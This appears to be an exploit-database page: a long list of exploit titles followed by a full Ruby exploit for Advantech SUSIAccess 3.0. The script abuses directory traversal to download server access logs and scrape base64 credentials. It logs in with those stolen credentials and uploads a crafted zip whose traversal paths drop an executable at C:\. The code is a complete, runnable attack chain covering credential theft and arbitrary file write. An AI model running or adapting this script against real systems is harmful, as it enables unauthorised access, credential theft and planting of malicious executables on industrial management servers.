
395 changes to exploits/shellcodes EO Video 1.36 - Local Heap Overflow Denial of Service / (PoC) Electronics Workbench - '.ewb' Local Stack Overflow (PoC) BulletProof FTP Client 2.63 - Local Heap Overflow (PoC) Easy Web Password 1.2 - Local Heap Memory Consumption (PoC) Compface 1.5.2 - '.xbm' Local Buffer Overflow (PoC) eEye Retina WiFi Security Scanner 1.0 - '.rws Parsing' Buffer Overflow (PoC) Zortam MP3 Media Studio 9.40 - Multiple Memory Corruption Vulnerabilities ImTOO MPEG Encoder 3.1.53 - '.cue' / '.m3u' Local Buffer Overflow (PoC) ZoIPer 2.22 - Call-Info Remote Denial of Service PHP < 5.3.1 - 'MultiPart/form-data' Denial of Service PHP - MultiPart Form-Data Denial of Service (PoC) PHP < 5.3.1 - 'MultiPart/form-data' Denial of Service PHP - MultiPart Form-Data Denial of Service (PoC) Nuked KLan 1.7.7 & SP4 - Denial of Service AIC Audio Player 1.4.1.587 - Local Crash (PoC) Xerox 4595 - Denial of Service WinMerge 2.12.4 - Project File Handling Stack Overflow Acoustica Mixcraft 1.00 - Local Crash SopCast 3.4.7 - 'sop://' URI Handling Remote Stack Buffer Overflow (PoC) Oreans WinLicense 2.1.8.0 - XML File Handling Memory Corruption Spotify 0.8.2.610 - search func Memory Exhaustion Apple iTunes 10.6.1.7 - '.m3u' Walking Heap Buffer Overflow (PoC) WaveSurfer 1.8.8p4 - Memory Corruption (PoC) DIMIN Viewer 5.4.0 - Crash (PoC) FreeVimager 4.1.0 - Crash (PoC) DIMIN Viewer 5.4.0 - Crash (PoC) FreeVimager 4.1.0 - Crash (PoC) CoolPlayer+ Portable 2.19.4 - Local Buffer Overflow Light Audio Player 1.0.14 - Memory Corruption (PoC) Image Transfer IOS - Remote Crash (PoC) Larson VizEx Reader 9.7.5 - Local Buffer Overflow (SEH) VUPlayer 2.49 - '.cue' Universal Buffer Overflow Apple Mac OSX xnu 1228.x - 'hfs-fcntl' Kernel Privilege Escalation IBM AIX 5.3 - 'libc' MALLOCDEBUG File Overwrite Hex Workshop 4.23/5.1/6.0 - '.hex' Universal Local Buffer Overflow (SEH) Soritong MP3 Player 1.0 - '.m3u' / UI.txt Universal Local Buffer Overflow Adobe Acrobat/Reader < 7.1.1/8.1.3/9.1 - Collab getIcon Universal Millenium MP3 Studio - '.pls' / '.mpf' / '.m3u' Universal Local Buffer Overflow (SEH) Alleycode HTML Editor 2.2.1 - Local Buffer Overflow GPG2/Kleopatra 2.0.11 - Malformed Certificate Free WMA MP3 Converter 1.1 - '.wav' Local Buffer Overflow OtsTurntables Free 1.00.047 - '.olf' Universal Buffer Overflow Watermark Master 2.2.23 - '.wstyle' Local Buffer Overflow (SEH) Dropbox < 3.3.x - OSX FinderLoadBundle Privilege Escalation MySQL / MariaDB / PerconaDB 5.5.51/5.6.32/5.7.14 - Code Execution / Privilege Escalation eIQnetworks License Manager - Remote Buffer Overflow (Metasploit) (1) eIQnetworks License Manager - Remote Buffer Overflow (Metasploit) (2) eIQnetworks License Manager - Remote Buffer Overflow (Metasploit) (1) eIQnetworks License Manager - Remote Buffer Overflow (Metasploit) (2) eIQnetworks License Manager - Remote Buffer Overflow (Metasploit) (3) QK SMTP 3.01 - 'RCPT TO' Remote Buffer Overflow (2) CA BrightStor ARCserve - 'msgeng.exe' Remote Stack Overflow quickshare file share 1.2.1 - Directory Traversal (1) SPlayer 3.7 (build 2055) - Remote Buffer Overflow Acunetix 8 build 20120704 - Remote Stack Overflow Omeka 2.2.1 - Remote Code Execution D-Link DSL-2740R - Remote DNS Change D-Link DSL-2730U/2750U/2750E ADSL Router - Remote File Disclosure Netgear JNR1010 ADSL Router - (Authenticated) Remote File Disclosure D-Link DSL-2730U/2750U/2750E ADSL Router - Remote File Disclosure Netgear JNR1010 ADSL Router - (Authenticated) Remote File Disclosure Websphere/JBoss/OpenNMS/Symantec Endpoint Protection Manager - Java Deserialization Remote Code Execution TorrentTrader 1.0 RC2 - SQL Injection WEBInsta CMS 0.3.1 - 'templates_dir' Remote File Inclusion MiniPort@l 0.1.5 Beta - 'skiny' Remote File Inclusion PHP DocWriter 0.3 - 'script' Remote File Inclusion phpBB Journals System Mod 1.0.2 RC2 - Remote File Inclusion phpBB SpamBlocker Mod 1.0.2 - Remote File Inclusion RSSonate - 'xml2rss.php' Remote File Inclusion CASTOR 1.1.1 - '/lib/rs.php' Remote File Inclusion RSSonate - 'xml2rss.php' Remote File Inclusion CASTOR 1.1.1 - '/lib/rs.php' Remote File Inclusion QnECMS 2.5.6 - 'adminfolderpath' Remote File Inclusion BrewBlogger 1.3.1 - 'printLog.php' SQL Injection e-Ark 1.0 - '/src/ark_inc.php' Remote File Inclusion awrate.com Message Board 1.0 - 'search.php' Remote File Inclusion Tucows Client Code Suite (CSS) 1.2.1015 - Remote File Inclusion Gizzar 03162002 - 'index.php' Remote File Inclusion SH-News 0.93 - 'misc.php' Remote File Inclusion JSBoard 2.0.10 - 'login.php?table' Local File Inclusion XOOPS Module WF-Links 1.03 - 'cid' SQL Injection Scorp Book 1.0 - 'smilies.php?config' Remote File Inclusion WEBInsta FM 0.1.4 - 'login.php' absolute_path Remote File Inclusion mxBB Module FAQ & RULES 2.0.0 - Remote File Inclusion EQdkp 1.3.2 - 'listmembers.php' SQL Injection FlashBB 1.1.8 - 'sendmsg.php' Remote File Inclusion SimpleBlog 3.0 - 'comments_get.asp?id' SQL Injection Pakupaku CMS 0.4 - Arbitrary File Upload / Local File Inclusion CCMS 3.1 Demo - SQL Injection MoinMoin 1.5.x - 'MOIND_ID' Cookie Login Bypass BlogPHP 2 - 'id' Cross-Site Scripting / SQL Injection AuraCMS 1.62 - Multiple SQL Injections sCssBoard (Multiple Versions) - 'pwnpack' Remote s EasyNews 40tr - SQL Injection / Cross-Site Scripting / Local File Inclusion RevokeBB 1.0 RC11 - 'Search' SQL Injection Galatolo Web Manager 1.0 - Cross-Site Scripting / Local File Inclusion CaupoShop Classic 1.3 - 'saArticle[ID]' SQL Injection PHPortal 1.2 - Multiple Remote File Inclusions Libera CMS 1.12 - 'cookie' SQL Injection Zanfi CMS lite 2.1 / Jaw Portal free - 'FCKeditor' Arbitrary File Upload WCMS 1.0b - Arbitrary Add Admin FOSS Gallery Admin 1.0 - Arbitrary File Upload MemHT Portal 4.0.1 - SQL Injection / Code Execution Mediatheka 4.2 - Blind SQL Injection Pligg 9.9.5b - Arbitrary File Upload / SQL Injection XOOPS 2.3.2 - 'mydirname' PHP Remote Code Execution Joomla! Component Casino 0.3.1 - Multiple SQL Injections s ZeusCart 2.3 - 'maincatid' SQL Injection ASP Football Pool 2.3 - Remote Database Disclosure LightNEasy sql/no-db 2.2.x - System Configuration Disclosure Zen Cart 1.3.8 - Remote Code Execution Joomla! Component com_pinboard - 'task' SQL Injection Joomla! Component com_bookflip - 'book_id' SQL Injection Messages Library 2.0 - Arbitrary Delete Message Arab Portal 2.2 - Blind Cookie Authentication Bypass Joomla! Plugin JD-WordPress 2.0 RC2 - Remote File Inclusion REZERVI 3.0.2 - Remote Command Execution Joomla! Component BF Quiz 1.0 - SQL Injection (2) E-Xoopport Samsara 3.1 (eCal Module) - Blind SQL Injection AJ Matrix DNA - SQL Injection Joomla! Component JE Story Submit - Local File Inclusion CF Image Hosting Script 1.3.82 - File Disclosure hastymail2 webmail 1.1 rc2 - Persistent Cross-Site Scripting CMSLogik 1.2.1 - Multiple Vulnerabilities C.P.Sub 4.5 - Authentication Bypass WordPress Plugin Slideshow Gallery 1.4.6 - Arbitrary File Upload Joomla! Component com_hdflvplayer < 2.1.0.1 - SQL Injection WordPress Plugin WP Symposium 14.11 - Arbitrary File Upload PHPMailer < 5.2.20 - Remote Code Execution phpIPAM 1.4 - SQL Injection Joomla! 3.9.0 < 3.9.7 - CSV Injection
219 lines
No EOL
6.1 KiB
Ruby
Executable file
219 lines
No EOL
6.1 KiB
Ruby
Executable file
#!/usr/bin/env ruby
|
|
|
|
=begin
|
|
Exploit Title: Advantech SUSIAccess RecoveryMgmt File Upload
|
|
Date: 07/31/17
|
|
Exploit Author: james fitts
|
|
Vendor Homepage: http://www.advantech.com/
|
|
Version: Advantech SUSIAccess <= 3.0
|
|
Tested on: Windows 7 SP1
|
|
Relavant Advisories:
|
|
ZDI-16-630
|
|
ZDI-16-628
|
|
CVE-2016-9349
|
|
CVE-2016-9351
|
|
BID-94629
|
|
ICSA-16-336-04
|
|
|
|
Notes:
|
|
This PoC will upload AcronisInstaller.exe to the root of C:\
|
|
You can modify this to drop files where ever you want on the
|
|
filesystem.
|
|
|
|
By default the script will use the directory traversal vuln
|
|
to pull down the log files and parse for the base64 encoded
|
|
credentials. Once it has that, it will use them to log into
|
|
the application and upload the malicious zip file.
|
|
=end
|
|
|
|
require 'mime/types'
|
|
require 'fileutils'
|
|
require 'net/http'
|
|
require 'nokogiri'
|
|
require 'base64'
|
|
require 'digest'
|
|
require 'date'
|
|
require 'uri'
|
|
require 'zip'
|
|
|
|
def uploadZip(target, creds, cookies)
|
|
uri = URI("http://#{target}:8080/webresources/RecoveryMgmt/upload")
|
|
bound = "AaBbCcDdEe"
|
|
|
|
path = Dir.pwd
|
|
zipfile = "#{path}/update.zip"
|
|
|
|
post_data = []
|
|
post_data << "--#{bound}\r\n"
|
|
post_data << "Content-Disposition: form-data; name=\"frmUpdateSetting_Acronis_LastUpdateName\""
|
|
post_data << "\r\n\r\n\r\n"
|
|
post_data << "--#{bound}\r\n"
|
|
post_data << "Content-Disposition: form-data; name=\"frmUpdateSetting_Acronis_UploadFileFullName\""
|
|
post_data << "\r\n\r\nupdate.zip\r\n"
|
|
post_data << "--#{bound}\r\n"
|
|
post_data << "Content-Disposition: form-data; name=\"frmUpdateSetting_Acronis_Content\""
|
|
post_data << "\r\n\r\n"
|
|
post_data << "<request Authorization=\"#{creds[0].to_s}\"/>\r\n"
|
|
post_data << "--#{bound}\r\n"
|
|
post_data << "Content-Disposition: form-data; name=\"frmUpdateSetting_Acronis_FileInput\"; filename=\"update.zip\""
|
|
post_data << "\r\nContent-Type: application/zip"
|
|
post_data << "\r\n\r\n"
|
|
post_data << File.read(zipfile)
|
|
post_data << "\r\n\r\n--#{bound}--\r\n"
|
|
|
|
req = Net::HTTP::Post.new(uri, initheader = {
|
|
'Cookie' => cookies,
|
|
'Authorization' => "Basic #{creds[0].to_s}",
|
|
'X-Requested-With' => "XMLHttpRequest",
|
|
'Content-Type' => "multipart/form-data; boundary=#{bound}",
|
|
'User-Agent' => "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
|
|
'Accept-Language' => "en-US,en;q=0.5",
|
|
'Accept' => "text/plain, */*; q=0.01",
|
|
'Connection' => "close"
|
|
})
|
|
|
|
req.body = post_data.join
|
|
|
|
http = Net::HTTP.new("#{target}", 8080)
|
|
res = http.start {|http| http.request(req)}
|
|
|
|
if res.code =~ /200/
|
|
puts "[+] Upload successful!"
|
|
end
|
|
end
|
|
|
|
def craftZip(target, payload)
|
|
path = "../../../../../../../../../../Program%20Files\\Advantech\\SUSIAccess%203.0%20Server\\Setting.xml"
|
|
|
|
uri = URI("http://#{target}:8080/downloadCSV.jsp?file=#{path}")
|
|
res = Net::HTTP.get_response(uri)
|
|
xml = Nokogiri::XML(res.body)
|
|
ver = xml.xpath('//setting/Configuration/ThridParty/Acronis/version').to_s.split("=")[1].split("\"")[1]
|
|
kern_ver = xml.xpath('//setting/Configuration/ThridParty/Acronis/kernal_version').to_s.split("=")[1].split("\"")[1]
|
|
|
|
# version information doesn't matter
|
|
# the application will still extract the zip
|
|
# file regardless of whether or not its
|
|
# a greater version or lesser
|
|
f = File.open("LatestVersion.txt", 'w')
|
|
f.puts("Installer Version: #{ver}\r\nApplication Version: #{kern_ver}")
|
|
f.close
|
|
|
|
f = File.open("md5.txt", 'w')
|
|
md5 = Digest::MD5.hexdigest(File.read("AcronisInstaller.exe"))
|
|
f.puts md5
|
|
f.close
|
|
|
|
path = Dir.pwd
|
|
zipfile = "#{path}/update.zip"
|
|
|
|
if File.exist?(zipfile)
|
|
FileUtils.rm(zipfile)
|
|
end
|
|
|
|
files = ["AcronisInstaller.exe", "LatestVersion.txt", "md5.txt"]
|
|
|
|
levels = "../" * 10
|
|
Zip::File.open(zipfile, Zip::File::CREATE) do |zip|
|
|
files.each do |fname|
|
|
if fname == "AcronisInstaller.exe"
|
|
zip.add("#{levels}#{fname}", fname)
|
|
end
|
|
zip.add(fname, fname)
|
|
end
|
|
end
|
|
|
|
if File.exist?(zipfile)
|
|
puts "[!] Malicious zip created successfully"
|
|
end
|
|
end
|
|
|
|
def doLogin(target, creds)
|
|
formattedDate = DateTime.now.strftime("%a %b %d %Y %H:%M:%S GMT-0400 (EDT)")
|
|
formattedDate = URI::encode(formattedDate)
|
|
|
|
uri = URI("http://#{target}:8080/frmServer.jsp?d=#{formattedDate}")
|
|
|
|
res = Net::HTTP.get_response(uri)
|
|
jsessid = res.header['Set-Cookie'].split(';')[0]
|
|
cookies = "deviceType=pc; log4jq=OFF; selectedLang=en_US; #{jsessid}"
|
|
|
|
uname = Base64.decode64(creds[0].to_s).split(":")[0]
|
|
pass = Base64.decode64(creds[0].to_s).split(":")[1]
|
|
|
|
data = "<request Authorization=\"#{creds[0].to_s}\">"
|
|
data << "<item name=\"username\" value=\"#{uname}\"/>"
|
|
data << "<item name=\"password\" value=\"#{pass}\"/>"
|
|
data << "</request>"
|
|
|
|
puts "[+] Attempting login with pilfered credentials now"
|
|
uri = URI("http://#{target}:8080/webresources/AccountMgmt/Login")
|
|
|
|
req = Net::HTTP::Post.new(uri, initheader = {
|
|
'Content-Type' => "application/xml",
|
|
'Cookies' => cookies,
|
|
'Authorization' => "Basic #{creds[0].to_s}",
|
|
'X-Requested-With' => 'XMLHttpRequest'
|
|
})
|
|
|
|
req.body = data
|
|
|
|
http = Net::HTTP.new("#{target}", 8080)
|
|
res = http.start {|http| http.request(req)}
|
|
|
|
if res.body =~ /<result><role name/
|
|
puts "[+] Login successful!"
|
|
return cookies
|
|
else
|
|
puts "[-] Something went wrong..."
|
|
end
|
|
|
|
end
|
|
|
|
def getCreds(target)
|
|
cnt = 1
|
|
d = Date.today
|
|
d.strftime("%y-%m-%d")
|
|
creds = []
|
|
|
|
while cnt < 31
|
|
fdate = d - cnt
|
|
cnt += 1
|
|
|
|
path = "../../../../../../../../../../Program Files\\Apache Software Foundation\\logs\\"
|
|
file = "localhost_access_log.#{fdate}.txt"
|
|
full_path = path + file
|
|
|
|
uri = URI("http://#{target}:8080/downloadCSV.jsp?file=#{full_path}")
|
|
|
|
res = Net::HTTP.get_response(uri)
|
|
|
|
if res.code =~ /200/
|
|
creds << res.body.scan(/(?<=Authorization=%22)[A-Za-z0-9=]+/)
|
|
end
|
|
end
|
|
return creds.flatten.uniq
|
|
end
|
|
|
|
##
|
|
# Main
|
|
##
|
|
if ARGV.length != 1
|
|
puts "Usage:\r\n\truby #{$0} [TARGET IP]"
|
|
else
|
|
target = ARGV[0]
|
|
payload = "AcronisInstaller.exe"
|
|
|
|
puts "[+] Extracting credentials now..."
|
|
credentials = getCreds(target)
|
|
if credentials.length > 0
|
|
puts "[!] Credentials found!"
|
|
cookies = doLogin(target, credentials)
|
|
puts "[+] Crafting malicious zip now..."
|
|
craftZip(target, payload)
|
|
uploadZip(target, credentials, cookies)
|
|
else
|
|
puts "[-] Credentials not found.. Try searching for more log files.."
|
|
exit
|
|
end
|
|
end |